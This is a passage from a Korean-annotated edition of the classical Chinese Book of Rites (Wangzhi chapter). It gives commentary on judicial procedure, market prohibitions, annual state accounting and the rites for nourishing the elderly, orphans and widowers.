臝[力果反]股肱決射御이니라.[671]\n射御之技는 四方惟所之호대 然,但論力之優劣而已니 所以擐衣而出其股肱者는 欲以決勝負而示武勇也라.\n[擐(환):입다, 옷을입다,투구나갑옷을 몸에 걸치다][股:넙적다리고][肱:팔뚝굉]\n凡執技하야 以事上者는, 祝史射御醫卜及百工이니라. 凡執技하야 以事上者는 不貳事하며, 不移官하며. 出鄕하얀 不與士로 齒니. 仕於家者도 出鄕하얀 不與士로 齒니라.[671]\n不貳事則所業이 彌至於精이오, 不移官은 恐他職이 非其所長이라. 以技名者賤이요, 爲大夫之臣이 亦賤이라. 故,不得與爲士者齒列이나 然,必出鄕乃爾者는 於其本鄕에 有族人親戚之爲士者하야 或不忍卑之故也라.\n嚴陵方氏曰莊子曰能有所藝謂之技則凡執技者不足以德論之也特論其力而已適四方謂有故而之外也嬴股肱則所以宣手足之力也決射御則決勝負於射御也此其所以爲力歟技不止於射御而此止以是爲言者以二技尤論其力故也祝若周官大祝之類史若周官大史之類祝史皆事神之官以其作辭以事神故曰祝以其執書以事神故曰史射則周官之五射若曰白矢參連之類御則周官之五御若鳴和鑾逐禽左之類醫則醫師之類卜則卜師之類百工則土工木工金工石工之類以其類之非一故以百言之以其足以興事故謂之工焉凡此者蓋執技之名也不貳事則欲其無異習不移官則欲其有常守出鄕不與士齒者以執技之賤不得與執德者序長幼也然必出鄕而後不與之齒者以鄕黨尙齒故也.\n[鑾:방울란]\n延平周氏曰先王不責備於人苟有一藝皆得與於有司而食於上然古之學者以禮樂爲始終而未嘗不從事於射御雖孔子亦曰吾何執執御乎執射乎此則以射御爲執技之賤者蓋古人之志於道據於德依於仁然後游於藝可也果道不能志之德不能據之於仁又不能依之而止游於藝者此上之人所以賤之也不貳事移官非執技之所能也執技爲百工仕於卿大夫爲家臣不與士齒所以貴其爲士也古之爲士其貴於鄕如此此人人所以遠恥而有常心也.\n043. 司寇이 正刑明辟하야[婢亦反]. 以聽獄訟호대, 必三刺이니[次]. 有旨호대 無簡이어든 不聽하나니, 附從輕하고, 赦을 從重이니라.[675]\n周禮에 以三刺로 斷庶民獄訟之中하니, 一曰訊群臣이요, 二曰訊群吏요, 三曰訊萬民이라. 刺는 殺也니, 有罪當殺者를 先問之群臣하고, 次問之群吏하고, 又問之庶民하야 然後決其輕重也라. 若有發露之旨意而無簡覈之實迹則難於聽斷矣라. 於是,有附有赦焉하니 附而入之則施刑從輕하고, 赦而出之則宥罪從重하니, 所謂與其殺不辜론 寧失不經也라.\n[覈(핵):핵실하다(考事得實),穀種不破),씨(果中實),액색하다(慘刻).覈實:일의 실상을 조사함]\n石林葉氏曰司寇所掌者刑禁而以治寇爲主刑有典而或失其平則言正罪有辟而或失其情則言明訟不決係於囹圄則爲獄以曲直言於公則爲訟訊其可殺可刑則爲刺一訊群臣欲其左右可也再訊群吏欲其大夫可也三訊萬民欲其國人可也至其罪有可疑則附而從輕所以誘其爲善情有可怒則赦而從重所以勸其改過而已矣.\n044. 凡制五刑은 必卽天論이니 郵罰을 麗於事이니라.[677-1]\n制는 斷也라. 天倫은 天理也라. 天之理至公而無私하니 斷獄者이 體而用之하야 亦至公而無私라. 郵는 與尤同하니 責也라. 凡有罪責而當誅罰者를 必使罰與事이 相附麗則至公無私而刑當其罪矣온여.\n嚴陵方氏曰五刑不簡然後正乎五罰五罰不服然後正乎五過則罰輕於刑而過又輕於罰矣此止以郵罰爲言者輕且如此其重可知矣其言以郵罰爲序者亦先輕以明之也.\n045. 凡聽五刑之訟호대, 必原父子之親하며, 立君臣之義하야, 以權之하고. 意論輕重之序하며, 愼測淺深之量하야, 以別之하고. 悉其聰明하며, 致其忠愛하야, 以盡之하고. 疑獄을란, 汜與衆共之호대, 衆疑어든, 赦之니. 必察小大之比하야[俾] 以成之니라.[677-2]\n父爲子隱子爲父隱而直在其中者는 以其有父子之親也요. 刑亂國用重典은 以其無君臣之義也니, 推類可以通其餘이니 顧所以權之이 何如耳라. 父子君臣은 人倫之重者라. 故,特擧以言之하니, 亦承上文天倫之意라. 所犯이 雖同而有輕重淺深之殊를 者不可槩議也라. 故,別之하니 所謂權也라. 明視聰聽而察之於詞色之間하고, 忠愛惻恒而體之於言意之表면 庶可以盡得其情也라. 汎은 猶廣也라. 其或在所可疑則汎然而廣詢之衆見焉하야 衆人이 共謂可疑則宥之矣라. 比는 猶例也라. 小者이 有小罪之比하고 大者이 有大罪之比하니 察而成之이 無往非公也라.[詢:물을순]\n嚴陵方氏曰父子之親本乎情故曰原君臣之義錯諸事故曰立親主於愛而已一於愛則刑有所不忍加義主於敬而已一於敬則刑有所不敢及一皆如是豈足以爲法之經哉其或於親有所原於義有所立者特從法之權而已故曰以權之也事之輕重各有序也而不可亂焉行其事者其可以無倫乎亦在乎論之而已情之淺深各有量也而不可過焉原其情者其可無測乎亦在乎測之而已事非有惑無所用論故曰意論以意生乎有惑故也情非用誠不可以測故曰愼測以愼由乎用誠故也若是則輕重淺深各得其辨矣故曰以別之也悉其聰則所聽者無遺矣悉其明則所見者無遺矣致其忠則不欺之至矣致其愛則不忍之至矣若是則有不盡於刑之道乎故曰以盡之也汎與泛愛之汎同可信則斷之以已可疑則資之於衆也衆疑赦之者又不以偏愛而有所釋必察其罪之在大辟則比於大辟以成其獄察其罪之在小辟則比於小辟以成其獄比之爲言附也呂刑所謂上下比罪是矣其序則首言權之者以見先王之用刑非以爲常也然事情不可以不辨故繼言以別之別之則理無遺矣故繼言以盡之盡之則獄可以決矣故言以成之終焉.\n成獄辭이어든 史以獄成으로, 告於正이어든 正이 聽之하고. 正이 以獄成으로 告于大司寇이어든, 大司寇이 聽之棘木之下하고. 大司寇이 以獄之成으로 告於王이어든, 王이 命三公하야 參聽之하고. 三公이 以獄之成으로 告於王이어든, 王이 三又이니, 然後에 制刑이니라.[680]\n成獄詞者는 謂治獄者이 責取犯者之言辭하야 已成定也라. 史는 掌文書者라. 正은 士師之屬이라. 聽은 察也라. 棘木은 外朝之卿位也라. 又는 當作宥라. 周禮에 一宥曰不識이요, 再宥曰過失이요, 三宥曰遺忘이니, 謂行刑之時에 天子이 猶欲以此三者로 免其罪也라. 自下而上하야 咸無異說而天子이 猶必三宥而後에 有司이 行刑者는 在君에 爲愛下之仁이요, 在臣에 有守法之義也라.\n嚴陵方氏曰成獄辭謂訊獄之辭已成而不可變也則非謂無簡矣故史得以獄成告於正也獄辭始於史者以掌官書故也正之聽也特於獄而已至於大司寇之聽也則又於朝焉聽之於朝而獄之辭又成矣故可以告之於王然而獄正特刑官之屬而已大司寇特刑官之長而已專以一官之聽猶慮不能無私焉故王又命三公參聽之以合乎公議也三公參聽之而獄之辭又成矣於是又告於王若是則以五刑治之固可矣然以三又之法原之或在所赦焉故三又然後制刑也君子之盡心尤見於此.\n凡作刑罰은 輕이라도 無赦이니라.[682-1]\n馮氏이 曰 此는 言立法制刑之意하니, 雖輕無赦는 所以使人難犯也라. 惟其當刑必刑하야 輕且不赦온 而況於重者乎아? 故,君子이 不容不盡心焉이니라.\n刑者는 侀也이요, 侀者는 成也니, 一成而不可變이니, 故로 君子이 盡心焉이니라.[682-2]\n[侀:이룰형.이루다.모이다.힘쓰는 모양.거푸집]\n疏曰侀은 是形體라. ○馬氏이 曰 刑之所以爲刑者는 猶人之有侀也이니 一辭不具면 不足以爲刑이요, 一體不備면 不足以爲成人이니, 辭之所成에 則刑有所加而不可變이라. 故,君子이 盡心焉이니, 君子이 無所不盡其心이어니와 至於用刑則尤愼焉者也이니라.\n長樂陳氏曰蓋無赦則民不至於犯罪盡心則吏不至於濫刑有無赦之法以禁於未然之前有盡心之吏以應於已然之後此民所以畏法而親上也.\n析言하며 破律하며 亂名하며 改作하며 執左道하야 以亂政이어든 殺하고.[682-2]\n剖析言辭,破壞法律은 所謂舞文弄法者也요, 變亂名物,更改制度하며 或挾異端邪道하야 以罔惑于人이 皆足以亂政이라. 故,在所當殺이니라.\n作淫聲異服과 奇技奇器하야 以疑衆이어든, 殺하고. 行[去聲]僞而堅하며, 言僞而辯하며, 學非而慱하며, 順非而澤하야, 以疑衆이어든, 殺하며. 假於鬼神時日卜筮하야 以疑衆이어든, 殺하니. 此四誅者는 不以聽이니라.[684] [慱:근심단]\n淫聲非先王之樂也異服非先王之服也奇技奇器如偃師無木之類書云紂作奇技淫巧以悅婦人所行雖僞而堅不可攻所言雖僞而辨不可屈如白馬非馬之類所學雖非正道而涉獵甚廣則亦難於窮詰順非文過也所行雖非而善於文飾其言滑澤無滯衆皆疑其爲是也至於假託鬼神之禍福時曰之吉凶卜筮之休咎皆足以使人惑於見聞而違悖禮法故亂政者一疑衆者三皆決然殺之不復審聽亦爲其害大而辭不可明也.\n[偃:쓰러질언.쏠리다,눕다,눕히다,쉬다,교만함,뒷간][紂:껑거리끈주][詰:물을힐][咎:허물구]\n延平周氏曰此四誅者不以聽以其非過而其情不待於聽也.\n○金筆邵氏曰論其罪雖未至於可殺究其實則蠱民心甚矣故不聽而殺之聖人防微之意也.\n[蠱:기생충고]\n凡執禁하야 以齊衆은 不赦過니라.[684]\n立法有典이오, 司刑有官하니, 雖過失不赦는 所以齊衆人之不齊也라. 若先示之以赦過之令則人將輕於犯禁矣니, 豈能齊之乎아?\n有圭璧金璋을 不粥於市하며, 命服命車를 不粥於市하며, 宗廟之器를 不粥於市하며, 犧牲을 不粥於市하며, 戎器를 不粥於市하며,[686-1]\n方氏曰此所以禁民之不敬金璋以金飾之考工記大璋中璋黃金勺靑金外者是矣.\n用器이 不中[去聲]度어든 不粥於市하며. 兵車이 不中度이어든, 不粥於市하며. 布帛이 精麤이 不中數하고, 幅廣狹이 不中量이어든, 不粥於市하며. 姦色이 亂正色이어든, 不粥於市하며.[686-2]\n此는 所以禁民之不法이라. 用器는 人生日用之器也라. 數는 升縷多寡之數也라. 布는 幅廣二尺二寸이요, 帛은 廣二尺四寸이라.\n錦文珠玉成器를, 不粥於市하며. 衣服飮食을, 不粥於市하며.[687-1]\n此는 所以禁民之不儉이라.\n五穀이 不時하며, 果實이 未孰이어든, 不粥於市하며. 木不中伐이어든, 不粥於市하며. 禽獸魚鼈이 不中殺이어든, 不粥於市니라.[687-2]\n此는 所以禁民之不仁이라. 凡十有四事이 皆所以齊其衆而使風俗之同也라.\n關이 執禁以譏하야 禁異服하며, 識異言이니라.[687-3]\n劉氏이 曰 凡上文所當禁戒之事이 雖有司刑司市之屬,以治之하나 然,不有以譏察之則犯者이 衆而獲者이 寡矣라. 故,令司關者로 執禁戒之令以譏察之하야, 見異服則禁之하고, 聞異言則識之하니. 衣服은 易見이라. 故,直曰禁이요, 言語는 難知라, 故,必曰識라. 關은 境上門이니 擧關則郊門城門이 亦在其中矣라. 司徒之屬이 有司門,司關者하야 皆其職之大略也라.\n石林葉氏曰以令示於衆而使之避者禁也一弛其禁而赦之則犯者必多故不赦過自圭璧金璋至於禽獸魚鱉皆說禁於市者也至於關者人所道以出入而其所禁尤嚴於市故衣服貳而民德不歸於一則禁異服議論異而道德不合於一則識異言異服見於用則易知故曰禁異言必辨而後審之故曰識先王一道德以同俗明刑以析言異服者殺所以誅其已然正法而異言異服者譏所以禁其未然凡此皆治民之具諱惡者亦人情所不免故下太史執簡以記其言動奉諱惡以示禁者所以治天下之終也.\n046. 大史이 典禮하야, 執簡記하며, 奉諱惡[去聲]이어든, 天子이 齊戒하야 受諫하고.[687-3]\n周官大史이 典歷代禮儀之籍하야 國有禮事則豫執簡策하야 記載所當行之禮儀와 及所當知之諱惡,如廟諱忌日之類하야 奉而進之天子이어든 天子이 重其事라. 故,齊戒以受其所敎詔하나니 諫은 猶敎詔也라. 不言大宗伯者는 禮貌이 尊하니, 惟詔相大禮於臨時耳라.[詔:고할조,조서,가르침]\n嚴陵方氏曰執簡記卽周官太史所謂執書抱法是也奉諱惡卽小史所謂詔王之忌諱是也此一言之於太史者以小史爲太史之佐故得以兼之簡記謂簡冊所記之言也執言執之於此奉言奉之於上凡此特用之於行禮之時故以典禮言之.\n047. 司會[古外反]이 以歲之成으로 質於天子이어든, 冡宰이 齊戒하야 受質하고.[會:그릴괴(畵)][690-1]\n司會는 冡宰之屬이니 掌治法之財用會計와 及王與冢宰廢置等事라. 故,歲之將終也에 質平其一歲之計要於天子而先之冢宰어든 冡宰이 重其事而齊戒以受其質하나니, 質者는 質於上而考正其當否也라.\n大樂正과 大司寇와 市와 三官이 以其成으로 從質於天子이어든, 大司徒와 大司馬와 大司空과 齊戒하야 受質하고.[690-2]\n市는 司市也라. 周官司市는 下大夫二人이라. 司會所質을 冡宰이 旣受之矣라. 此三官이 各以其計要之成으로 從司會而質於天子則 司徒,司馬,司空,亦齊戒而受之하느니라.\n百官이 各以其成으로 質於三官이어든, 大司徒와 大司馬와 大司空이 以百官之成으로 質於天子이어든, 百官이 齊戒하야 受質하나니. 然後에 休老勞[去聲]農하며, 成歲事하며, 制國用이니라.[691]\n百官이 位卑하니 不敢專達이라. 故,但質於三官하고, 三官이 達於司徒,司馬,司空而爲之質於天子이어든, 天子이 與六卿으로 受而平斷하야 畢則還報其平於下라. 故,百官이 齊戒하야, 以受上之平報焉하니, 君臣上下이 莫不齊戒하야, 以致其敬者는 以天功天職을 不敢忽也라. 六官에 獨不言大宗伯者는, 宗伯은 禮樂事行則天子六卿이 皆在하니 無可歲會者요, 惟大樂正이 敎國子와 及一歲禮樂之費用을 當質正之爾라. 然,雖不言宗伯而先言大史典禮於前則其尊重禮樂之意可見矣니라. 己上은 並劉氏說이라. ○石梁王氏이 曰 大史典禮以下로 至制國用은 此一節이 與周制異하고 與夏殷無考이로다.\n嚴陵方氏曰齊以齊其內志之動戒以防其外物之侵古之人將有思也將有爲也未嘗不齊戒者凡以致其謹而已故君之齊戒所以謹其所受之諫於下也臣之齊戒所以謹其所受之質於上也然而一歲之內所諫所質多矣必於歲之終乃齊戒受之何哉蓋今歲於是乎歲終來歲於是乎更始朔易之事將有所平在始和之政將有所布宣旣驗者可因爲之監未然者可豫爲之防君臣上下其可以不愼乎則齊戒以受之不爲過矣成卽周官司會之職以歲會考歲成者是矣謂之成以其計要所成之績故也計要正司會之所掌故其質於天子獨先於衆焉冢宰齊戒受質者蓋天子以司會之成降於冢宰必降於冢宰者以冢宰爲天官之長司會則天官之屬故也大樂正大司寇市三官雖非冢宰之屬然以計要正司馬之所掌故以其成質於天子特從司會而已大司徒大司馬大司空齊戒受質者是蓋各以其類受之也大司徒掌邦敎敷五典者也而樂正則崇四術立四敎焉故樂正之質則司徒受之司馬掌邦政統六師者也而司寇則詰姦慝刑暴亂焉故司寇之質則司馬受之司空掌邦事居四民者也而司市則掌僞飾之禁在民在商在賈在工者各十有二焉故司市之質則司空受之此非各以其類乎百官蓋三官之屬以其職卑而不敢專達故必質於三官然後其成得達於天子也然後休老勞農蓋物作於春長於夏斂於秋藏於冬則一歲之終固可休之時也帝出乎震見乎離說乎兌勞乎坎則一歲之終固可勞之時也老者血氣旣衰是爲可休之人農之稼穡亦已勤矣是爲可勞之人於可休之時而休其可休之人於可勞之時而勞其可勞之人蓋先王所以奉天時而爲政者如是而已成歲事則所以計今歲之所入制國用則所以待來歲之所出也前經言量入以爲出故成歲事然後可以制國用焉且歲事繫乎天則成其終者存乎人國用出乎下則制其始者本乎上故於歲事曰成於國用曰制也\n[詰:물을힐.꾸짖을힐.詰窮:詰問하여 캐냄. 詰難:트집을 잡아 비난함][慝:사특할특.간사,속임,숨김.慝惡:드러나지않은 숨은 악] [坎:구덩이감]\n048. 凡養老니,[694]\n養老之禮이 其目이 有四하니 養三老五更이 一也요, 子孫이 死於國事則養其父祖이 二也요, 養致仕之老이 三也요, 養庶人之老이 四也니, 一歲之間에 凡七行之호대 飮養陽氣則用春夏하고 食養陰氣則用秋冬하니 四時各一也요. 凡大合樂에 必遂養老하니 謂春入學舍菜合舞,秋頒學合聲則通前爲六이요, 又季春大合樂에 天子이 視學亦養老하니 凡七也라.\n[頒:나눌반,구분,반포]\n有虞氏는 以燕禮하고,[695-1]\n燕禮者는 一獻之禮旣畢에 皆坐而飮酒하야 以至於醉하니 其牲用狗하나니라. 其禮이 亦有二하니, 一은 是燕同姓이요, 二는 是燕異姓也라.\n夏后氏는 以饗禮하고,[695-2]\n饗禮者는 體薦而不食하고, 爵盈而不飮하며, 立而不坐하고, 依尊卑爲獻하야 數畢而止호대 然,亦有四焉하니 諸侯來朝이 一也요, 王親戚及諸侯之臣來聘이 二也요, 戎狄之君使來이 三也요, 享宿衛及耆老孤子이 四也요, 惟宿衛及耆老孤子則以酒醉爲度하니, 酒正에 云이니라.\n殷人은 以食[嗣]禮하고,[696]\n食禮者는 有飯有殽하고, 雖設酒而不飮하니 其禮이 以飯爲主라. 故,曰食也라. 然,亦有二焉하니, 大行人에 云,食禮九擧와 及公食大夫之類를 謂之禮食이요, 其臣下이 自與賓客으로 旦夕共食則謂之燕食也라. 饗食은 禮之正이라. 故,行之於廟하고, 燕은 以示慈惠라. 故,行之於寢也라.\n[殽:섞일효,마른안주]\n周人은 修而兼用之하니라.[697]\n春夏則用虞之燕,夏之饗하고 秋冬則用殷之食하야 周尙文이라. 故,兼用三代之禮也라.\n長樂陳氏曰虞氏以燕則以恩勝禮夏后氏以享則以禮勝恩殷人以食則趣恩禮之中而周則文備故脩而兼用之周官外饔言享耆老此周人以享禮養老也行葦言飮射而繼之以祈黃耉此周人以燕禮養老也祭義曰食三老五更於太學天子袒而割牲執醬而饋執爵而酳此周人以食禮養老也.\n[饔:아침밥옹,익은음식,희생][醬:젓갈장][酳:술로입헹굴인,안주인]\n○延平周氏曰以燕享對食則燕享以酒爲主食以食爲主以燕對享則燕以恩爲主享以禮爲主虞氏以燕則其恩已致詳矣故夏后氏易以享享則其禮已致隆矣然燕與享不過養陽而已故殷人易以食所以養陰也周則文極矣故兼用之亦各趨時而已.\n[葦:갈대위]\n五十이어든 養於鄕하고, 六十이어든 養於國하고, 七十이어든 養於學하니, 達於諸侯이니라.[698-1]\n鄕은 鄕學也요, 國은 國中小學也요, 學은 大學也요, 達於諸侯者는 天子養老之禮를 諸侯이 通得行之요, 無降殺也니라.\n049. 八十이어든 拜君命호대 一坐에 再至하고, 瞽亦如之니. 九十이어든 使人으로 受이니라.[698-2]\n人君有命에 人臣拜受이 禮也이로대, 惟八十之老와 與無目之人은 爲難備禮라. 故,其拜也이 足一跪而首再至地하야 以備再拜之數하고, 九十則又不必親拜라. 特使人代受하니 此는 言君致享食之禮니, 於其家而受之之禮이 如此이나, 然,他命이 則亦必然矣니라.\n長樂陳氏曰年彌高者養彌厚養彌厚者禮彌敬故五十養於鄕而不從力政六十養於國而不與服戎七十養於學則天子袒而割牲執醬而饋執爵而酳此禮之所以彌敬也周之養老遺人掌委積外饔掌割亨而至羅氏共羽物酒正共酒稿人共食其禮之備具如此又視學以事之豈非仁之至義之盡哉孔子於瞽者見之雖少必作過之必趨相之則每事必告其致恭敬如此則先王待之之禮均於老者不爲過矣\n[酳:술로입헹궁,안주]\n五十이어든 異粻[張]하고, 六十이어든 宿肉하고, 七十이어든 貳膳하고, 八十이어든 常珍하고, 九十이어든 飮食을 不離寢하며, 膳飮을 從於遊이 可也니라.[粻(장):양식(食米糧); 엿(餳)][699]\n粻은 糧也라. 異者는 精粗이 與少者殊也라. 宿肉은 謂恒隔日備之하야 不使求而不得也라. 膳은 食之善者이니, 每有副貳하야 不使闕乏也라. 常珍은 常食이 皆珍味也라. 不離寢은 言寢處之所에 恒有庋閣之飮食也라. 美善之膳과 水漿之飮을 隨其常遊之處而爲之備具이 可也이니라.\n[庋:찬탁자기.찬장,시렁.庋閣:선반][漿:미음장]\n嚴陵方氏曰粻則地産以養其陰肉則天産以養其陽膳用六牲以爲膳而已珍用八物則爲貴有膳則肉可知有肉則粻可知異者不必宿宿者不必貳貳者不必常言之輕重其禮之隆殺也由八十而下飮食或庋於閣而已於寢則亦離焉膳飮止於所居而已於遊固不從焉故必九十然後飮食不離寢飮食從於遊也.\n[粻:양식장,엿]]\n六十이어든 歲制하고, 七十이어든 時制하고, 八十이어든 月制하고, 九十이어든 日脩하니, 唯絞[爻]紟[금,其鴆反]衾冒는 死而后에 制니라.[700]\n此는 言漸老則漸近死期하니 當豫爲送終之備也라. 歲制는 謂棺也니 不易可成이라. 故,歲制요. 衣物之難得者는 須三月可辦이라. 故,云時制요. 衣物之易得者는 則一月可就라. 故,云月制요. 至九十則棺衣皆具하야 無事於制作이니, 但每日脩理之하야 恐或有不完整也라. 絞는 所以收束衣服하야 爲堅急者也라. 紟은 單被也라. 絞與紟은 皆用十五升布爲之하나니라. 凡衾이 皆五幅이니 士小斂에 緇衾赬裏요, 大斂則二衾이라. 冒는 所以韜尸니, 制如直囊하니 上曰質,下曰殺니, 其用之이 先以殺韜足而上하고, 次以質韜首而下하야 齊于手하나니 士는 緇冒赬殺이니, 象生時玄衣纁裳也라. 此四物은 須死乃制니 以其易成故也라.\n[辦:갖출판,갚음][絞:목맬교,묶다,새끼꼬다][紟:옷고름,홑이불][赬:붉을정][冒:무릅쓸모,가리다][韜:감출도,너그러움][緇:검을치]\n馬氏曰自五十異粻而下此養生之禮也自六十歲制而下此送死之禮也人之至於五十其氣始衰食不可以不異故異粻自五十而上事親之日短人子之於親養之必有加焉故宿肉至膳飮必從於遊也有始必有終有生必有死此必然之理也人之至六十以上則送死之禮不可以不具.\n五十에 始衰하고, 六十에 非肉이면 不飽하고, 七十에 非帛이면 不煖하고, 八十에 非人이면 不煖하고, 九十에 雖得人이나 不煖矣니. 五十이어든 杖於家하고, 六十이어든 杖於鄕하고, 七十이어든 杖於國하고, 八十이어든 杖於朝이니, 九十者는 天子이 欲有問焉則就其室호대 以珍으로 從하니라[去聲].[702]\n杖은 所以扶衰弱이니, 五十에 始衰라. 故,杖이니, 未五十者는 不得執也라. 巡守而就見百年者는 泛言衆庶之老也요, 此就見九十者는 專指有爵者也라. 祭義에 又言八十이어든 君問則就之者하니 亦異禮也라. 珍은 與常珍之珍으로 同하니, 從之以往은 致尊養之義也라.\n嚴能方氏曰三十日壯四十曰强壯强則盛極矣盛之極亦趨於衰而已故五十爲始衰之年自此以往宜有以扶其衰九十雖得人不煖則以衰之極養之宜無所不至故也.\n○馬氏曰人之大化有四嬰孩也少壯也老耄也死亡也始衰離於少壯之年而入於老耄之時也先王之時下無凍餒之民者蓋五畒[畝]之宅樹之以桑而七十可以衣帛矣鷄豚狗彘之畜無失其時而六十則可以食肉矣.\n[餒:굶을뇌][彘:돼지체]\n○延平周氏曰貴貴老老不可偏廢也八十與之杖老老也而不免於朝者貴貴也九十則天子必就其室而問之者豈特老老而已蓋將以尊賢也尊賢則北面可也就其室而問之何歉哉.\n[歉(겸):흉년들다,적다,부족,탐하다]\n七十이어든 不侯朝하고, 八十이어든 月告存하고, 九十이어든 日有秩이니라.[704-1]\n不侯朝者는 謂朝君之時에 入至朝位어든, 君出揖卽退요 不待朝事畢也니, 此는 謂當致仕之年而不得謝者라. 告는 猶問也니 君이 每月에 使人致膳하야 告問存否也라. 秩은 常也니 日使人以常膳致之也라.\n延平周氏曰不侯朝所以全其筋力也月告存所以欲其生也日有秩所以厚其養也先王之於人也必有養廉之具然後責之廉故卿大夫旣有田以處子孫而至於九十則又曰有秩此仕於朝者所以無累於終身而有恥於貪汗者也.\n五十이어든 不從力政하고, 六十이어든 不與[去聲]服戎하고, 七十이어든 不與賓客之事하고, 八十이어든 齊[側皆反]喪之事이 弗及也이니라.[704-2]\n方氏이 曰 力政은 力役之政也요, 服戎은 兵戎之事也라. 力政은 事之常者라. 故,五十已不從矣요, 服戎은 則事之變者라. 必六十然後에 不與焉이라. 從은 謂行其事也요, 與則與之而已요, 及則旁有所加之謂니 以其老甚이라. 非特不能從與於事而事固不當及於我矣라.\n長樂陳氏曰弛而不張文武不爲張而不弛文武不能晝作而暮息一日之理也三時作而冬息一歲之理也少壯作而老息一世之理也先王知其理如此故爲之禮以息之此經是已.\n五十而爵하고, 六十이어든 不親學하고, 七十이어든 致政이니, 唯衰[催]麻爲喪이니라.[705]\n五十而爵은 命爲大夫也라. 不親學은 以其不能備弟子之禮也요, 致政事는 以其不能勝職任之勞也라. 或有死喪之事라도 惟備衰麻之服而已요, 其他禮節은 皆在所不責也라.\n嚴陵方氏曰五十曰艾服官政故受爵於朝蓋受爵則服官政故也六十曰耆指使故不親學所以事人非所以使人故也七十曰老而傳故致政蓋外則致其政於君內則傳其事於子孫也唯衰麻爲喪則與曲禮言唯衰麻在身同義然此齊喪之事猶及也所以異於八十者歟.\n050. 有虞氏는 養國老於上庠하고, 養庶老於下庠하고.[706]\n行養老之禮를 必於學은 以其爲講明孝弟禮義之所也라. 國老는 有爵有德之老요, 庶老는 庶人及死事子之父祖也라. 國老는 尊이라, 故,於大學하고. 庶老는 卑라, 故,於小學하니. 上庠大學은 在西郊하고 下庠小學은 在國中王宮之東이라.\n夏后氏는 養國老於東序하고, 養庶老於西序하고.[707-1]\n東序大學은 在國中王宮之東하고, 西序小學은 在西郊이라.\n殷人은 養國老於右學하고, 養庶老於左學하고.[707-2]\n右學大學은 在西郊하고, 在學小學은 在國中王宮之東이라.\n周人은 養國老於東膠하고, 養庶老於虞庠하더니. 虞庠은 在國之西郊하더라.[707-3]\n東膠大學은 在國中王宮之東하고, 虞庠小學은 在西郊라.\n嚴陵方氏曰四代之養老必以學何也蓋王者之養老所以敎天下之孝也孝者所以盡子道而父子者人倫之始也學所以明人倫而已於之以養老不亦宜乎皆學也虞曰庠夏曰序殷曰校周曰膠又何也庠者養也養以生物爲事天道也故虞曰庠序者射也射以正己爲事人道也故夏曰序學者覺也覺民者所以反其質故殷曰學膠者飾也飾物者所以致其文也故周曰膠.\n[膠:고대학교교.아교교,갖풀,붙이다.膠着:아주 굳게 달라붙음]\n○延平周氏曰上庠下庠以尊卑言之也東序西序以方言之也右學左學以位言之也國老庶老皆養之者恩也國老必於大學庶老必於小學者義也.\n有虞氏는 皇而祭하고, 深衣而養老하고.[708]\n皇收冔은 皆冠冕之名이라. 然,制度詳悉則不可考矣로다. 深衣는 白布衣也라.[冔(후):殷時代冠名]\n夏后氏는 收而祭하고, 燕衣而養老하고.[709-1]\n燕衣는 黑衣也라. 夏后氏이 尙黑하니 君與群臣燕飮之服이 卽諸侯曰視朝之服也라. 其冠則玄冠而緇帶素韠白舃也라.\n殷人은 哻[火羽反]而祭하고, 縞衣而養老하며.[709-2]\n縞는 生絹이니 亦名素이니, 此縞衣則謂白布深衣也라. [縞:흰명주호]\n周人은 冕而祭하고, 玄衣而養老하니라.[709-3]\n玄衣는 亦朝服也라. 緇衣素裳이니 十五升布爲之하니라. 六入이 爲玄이요, 七入이 爲緇라. 故,緇衣를 亦名玄衣也라. 又按夏氏尙黑이라. 衣裳皆黑하고, 殷尙白이라. 則衣裳皆白하고, 周兼用之라. 故,玄衣而素裳이니, 凡諸侯朝服은 卽天子燕服而諸侯之行燕禮에 亦此服也라.\n嚴陵方氏曰祭非無衣也然主冠言之者蓋冠在首有尊尊之義而祭所以推尊尊之義者也養老非無冠也然主衣言者蓋衣在體有親親之仁焉而養老所以明親親之仁故也.\n○馬氏曰先言祭者蓋祭所以追養繼孝而年之貴乎天下久矣次乎事親也故以祭爲先皇與收冔與冕首所加之冠也深衣燕衣縞衣玄衣身所衣之服也在祭祀則言冠而不言衣者言冠則知其有衣故虞則十有二章周則九章推此則二代可知矣在養老則言衣而不言冠者言衣則知其有冠故毋追夏后氏之道也章甫殷道也委貌周道也推此則有虞氏亦可知矣.\n凡三王이 養老호대 皆引年하시니라.[711-1]\n四海之內에 老者이 衆矣니, 安得人人而養之리오. 待國老庶老之禮이 畢하야, 卽行引戶校年之令而恩賜其老者焉이니라.\n八十者는 一子이 不從政하고, 九十者는 其家이 不從政하고, 廢疾이라. 非人不養者는, 一人이 不從政하고. 父母之喪에는, 三年을 不從政하고. 齊衰大功之喪에는, 三月을 不從政하고. 將徙於諸侯이어든 三月을 不從政하고. 自諸侯로 來徙家이어든, 期[朞]不從政이니라.[711-2]\n從政은 謂給公家之力役也라.\n○方氏이 曰 將徏은 欲去者요, 來徏은 已來者라. 夫人이 莫衰於老요, 莫苦於疾이요, 莫憂於喪이요, 莫勞於徏이니, 此이 王政之所宜恤者라. 故,皆不使之從政焉이니라.[徏=陟:오를철(陞)]\n○舊說에 將徏於諸侯者는 謂大夫采地之民이 徏於諸侯爲民이요, 自諸侯來徏者는 謂諸侯之民이 來徏於大夫之邑이니 以其新徏當復除니 諸侯는 地寬役少라. 故,惟三月不從政하고, 大夫는 役多地狹이라. 欲令人貪慕하야 故,期不從政이라하고, 一說에 謂從大夫家出仕諸侯하며, 從諸侯退仕大夫未知孰是로다.\n延平周氏曰一子一人不從政則老者廢疾者有所養居喪不從政則生者得以盡其哀戚將徏者不從政所以寬之也始來者不從政所以安之也.\n051. 少而無父者를 謂之孤요, 老而無子者를 謂之獨이요, 老而無妻者를 謂之矜[鳏]이요, 老而無夫者를 謂之寡이니. 此四者는 天民之窮而無告者也라, 皆有常餼니라.[713-1]\n左傳에 崔杼이 生成及彊而寡이라하니, 是無妻者이 亦可言寡也라. 皆有常餼는 謂君上이 養以餼廩하야 有常制也라.\n[徏:환어환,홀아비][杼(저):북(織具杼柚),엷다(薄),길다(長),도토리(橡也票屬)]\n[餼(희):음식을 대접하다(饋餉),곳집 쌀(饔餼廩),희생(牲生).\n餼廩(희름):제사에 쓰는 肉類와 米穀類. 餼羊:제사에 쓰는 羊. 희생에 바치는 羊]\n嚴陵方氏曰若此之人雖欲有所赴愬而求通莫之得矣故曰天民之窮而無告者也文王發政施仁必先斯四者其以是歟皆有常餼固所宜矣.\n[愬:(소:하소연하다; 고하다)(색:놀랍고두렵다)]\n052. 瘖과 聾과 